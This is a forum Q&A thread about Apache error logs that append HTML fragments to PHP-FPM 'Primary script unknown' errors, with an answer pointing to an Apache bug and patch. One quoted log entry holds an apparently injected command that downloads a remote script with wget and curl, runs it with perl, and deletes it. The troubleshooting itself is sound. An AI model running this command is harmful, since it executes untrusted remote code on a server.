1

I am using Apache with PHP-FPM on my web server. When user enters some random pathname that Apache passes to proxy-fcgi and the file could not be found, there will be a standard error recorded in the error log:

AH01071: Got error 'Primary script unknown\n'

However, on certain occasions, I get a chunk of HTML from a random page of my website, like so:

AH01071: Got error 'Primary script unknown\n\r\n\r\n<!DOCTYPE html>\n\n<html>\n<head>\n<title>Title of My Webpage</title>\n<meta charset='UTF-8'>\n<meta na.....

and so:

AH01071: Got error 'Primary script unknown\nmmary'>\n<colgroup>\n<col/><col/><col/><col/>\n</colgroup>\n<tbody>\n<tr><td....

I got really worried, when I saw something like this today:

AH01071: Got error 'Primary script unknown\nmp;wget http://redacted/sacd ; curl -O http://redacted/sacd ; perl sacd ;rm -rf sac*"); charset='UTF-8'>\n<meta name='format-de....

Which I think is a cookie value interspersed within the random HTML chunk. Has anyone experienced this phenomenon? Can something be done to stop the random HTML and cookie from being appended to the error message?

  • Have a look at the apache access_log, what are the html requests belonging to these errors. Perhaps you can see malicious stuff. – geert3 Dec 9 '14 at 16:43
  • BTW in your last example, if the curl and subsequent perl invocation are not something you recognise as your own code, I would definitely worry, this looks malicious to me. – geert3 Dec 9 '14 at 16:48
0

This is bug 56858 to be fixed in in the next release of 2.4.x (2.4.11?) Here's the patch:

http://svn.apache.org/viewvc?view=revision&revision=1621602

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.